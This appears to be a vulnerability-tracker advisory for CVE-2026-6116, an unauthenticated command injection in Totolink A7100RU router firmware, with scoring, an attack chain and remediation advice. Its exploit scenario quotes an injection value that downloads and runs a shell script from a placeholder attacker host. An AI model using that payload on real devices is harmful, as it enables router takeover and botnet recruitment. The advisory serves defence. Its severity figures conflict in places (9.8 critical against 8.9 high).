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A7100Ru EUVDEUVD-2026-21708

| CVE-2026-6116 HIGH
OS Command Injection (CWE-78)
2026-04-12 VulDB
8.9
CVSS 4.0 · Vendor: VulDB
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Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Identify internet-exposed router management interface
  2. Delivery
    Send crafted HTTP POST to /cgi-bin/cstecgi.cgi with command injection in 'ip' parameter
  3. Exploit
    Injected shell commands execute with system privileges
  4. Execution
    Download and execute malicious payload
  5. Impact
    Establish persistent backdoor or recruit device into botnet

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK

2 techniques across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Totolik A7100RU router firmware version 7.4cu.2313_b20191024. Remote unauthenticated attacker can exploit OS command injection via the 'ip' parameter in setDiagnosisCfg function at /cgi-bin/cstecgi.cgi. No authentication or user interaction required.

Impact

This vulnerability presents CRITICAL real-world risk based on converging threat signals. CVSS 9.8 reflects the worst-case scenario: network-accessible (AV:N), low attack complexity (AC:L), no privileges required (PR:N), no user interaction (UI:N), with complete confidentiality, integrity, and availability impact (C:H/I:H/A:H). The CVSS Exploit Maturity code (E:P) confirms proof-of-concept code exists, corroborated by the publicly available GitHub exploit at Litengzheng/vuldb_new repository. While no CISA KEV listing or EPSS data was provided, the combination of unauthenticated remote access, trivial exploitation, and public POC makes this immediately exploitable. Consumer routers with command injection vulnerabilities are frequently targeted for botnet recruitment (Mirai-style campaigns). The lack of vendor patch availability (RL:X - workaround/unavailable) combined with confirmed exploit code creates an extended exposure window. SSVC prioritization would rate this as immediate action required: exploitation is feasible, highly automatable (simple HTTP requests), and technical impact is total system compromise. This is a genuine critical priority, not inflated CVSS scoring.

Exploit ScenarioDerived

An unauthenticated attacker scans the internet for Totolink A7100RU routers exposing their management interface on public IPs. Using the publicly available POC code from GitHub (Litengzheng/vuldb_new), the attacker crafts an HTTP request to /cgi-bin/cstecgi.cgi with a malicious 'ip' parameter value such as '127.0.0.1; wget http://attacker.com/malware.sh -O /tmp/m; sh /tmp/m'. The setDiagnosisCfg function executes this as a shell command, downloading and running arbitrary payloads with router-level privileges, enabling persistent backdoor installation, DNS hijacking to redirect victims to phishing sites, or enrollment in DDoS botnets.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
No patch listed yet 0.9% exploitation probability (EPSS)

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AnalysisAIv1 – Apr 12, 2026

OS command injection in Totolink A7100RU router firmware 7.4cu.2313_b20191024 allows unauthenticated remote attackers to execute arbitrary system commands with router privileges via crafted requests to the /cgi-bin/cstecgi.cgi endpoint. The vulnerability resides in the setDiagnosisCfg function's insufficient validation of the 'ip' parameter. Publicly available exploit code exists (GitHub POC published), significantly lowering exploitation barriers. CVSS 9.8 (Critical) reflects network-accessible, low-complexity attack requiring no authentication. No vendor-released patch identified at time of analysis.

RemediationAI

No vendor-released patch identified at time of analysis. Users should immediately check the official Totolink support portal (https://www.totolink.net/) for firmware updates newer than 7.4cu.2313_b20191024 and apply them if available. As interim mitigations: (1) Disable remote administration access to the router's web interface, ensuring management is only accessible from the internal LAN; (2) Implement firewall rules to block external access to TCP ports commonly used for router management (80, 443, 8080); (3) If the diagnostic functionality is not required, consider blocking access to /cgi-bin/cstecgi.cgi through the router's access control features if available; (4) For critical environments, consider replacing the device with alternative hardware from vendors with active security support programs. Monitor VulDB entries https://vuldb.com/vuln/356976 and https://vuldb.com/vuln/356976/cti for updated remediation guidance. Given the severity and lack of patch, device replacement may be the most secure long-term solution for high-risk deployments.

Affected VersionsENISA

A7100RU 7.4cu.2313_b20191024

Affected Packages

euvd a7100ru no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

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Technical ContextAI · show details

This vulnerability exploits CWE-78 (OS Command Injection) in the CGI handler of Totolink A7100RU router firmware. The affected component is /cgi-bin/cstecgi.cgi, specifically within the setDiagnosisCfg function commonly used for network diagnostic operations like ping or traceroute. The 'ip' parameter accepts user-supplied input that is passed unsanitized to system shell commands. Attackers can inject shell metacharacters (e.g., semicolons, pipe operators, backticks) to append arbitrary commands. The CPE identifier cpe:2.3:a:totolink:a7100ru:*:*:*:*:*:*:*:* indicates this is an application-level vulnerability in Totolink's router software. CGI-based management interfaces in embedded devices frequently suffer from command injection when diagnostic or configuration functions construct shell commands through string concatenation rather than parameterized execution.

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Severity by source

Vendor (VulDB) PRIMARY 8.9 HIGH
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P

Primary rating from Vendor (VulDB) · only source for this CVE.

CVSS VectorVendor: VulDB

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
None
User Interaction
None
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
High
Vulnerable system: Availability
High
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

4
PoC Detected
Apr 27, 2026 - 19:05 vuln.today
Public exploit code
Severity Changed
Apr 12, 2026 - 05:22 NVD
CRITICAL HIGH
CVSS changed
Apr 12, 2026 - 05:22 NVD
9.8 (CRITICAL) 8.9 (HIGH)
CVE Published
Apr 12, 2026 - 04:15 nvd
HIGH 8.9

DescriptionCVE.org

A vulnerability has been found in Totolink A7100RU 7.4cu.2313_b20191024. This vulnerability affects the function setDiagnosisCfg of the file /cgi-bin/cstecgi.cgi of the component CGI Handler. The manipulation of the argument ip leads to os command injection. Remote exploitation of the attack is possible. The exploit has been disclosed to the public and may be used.

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Why It Matters

Totolik A7100RU routers running firmware 7.4cu.2313_b20191024 are vulnerable to unauthenticated remote command execution that enables attackers to gain full device control without credentials. This affects all organizations deploying this router model and poses immediate risk to network perimeter security, as exploitation is trivial with publicly available code. Affected devices should be treated as compromised until patched or replaced.

Business Impact: Severe
Compensating Controls

No vendor-released patch identified at time of analysis. Interim mitigations: (1) Restrict network access to router administration interfaces via firewall ACLs blocking WAN access to /cgi-bin/cstecgi.cgi; (2) disable remote management if enabled; (3) implement network segmentation isolating router from critical systems; (4) monitor for suspicious command execution patterns on affected devices; (5) prepare hardware replacement schedule as permanent remediation.

Threat Intelligence Overview

EPSS Score
0.9%
Top 24% exploitable
Exploit
POC
Public exploit code exists
Social Media
5
Sightings
Data Quality
7 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment CIRCL GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC Yes
EPSS 0.9%
Patch available No
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Out-of-Cycle
Exploitation
Poc
System Exposure· derived
Open
Automatable
Yes
Human Impact
Very High
Technical Impact
Total

Priority Score

65
Low Medium High Critical
KEV: 0
EPSS: +1
CVSS: +44
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

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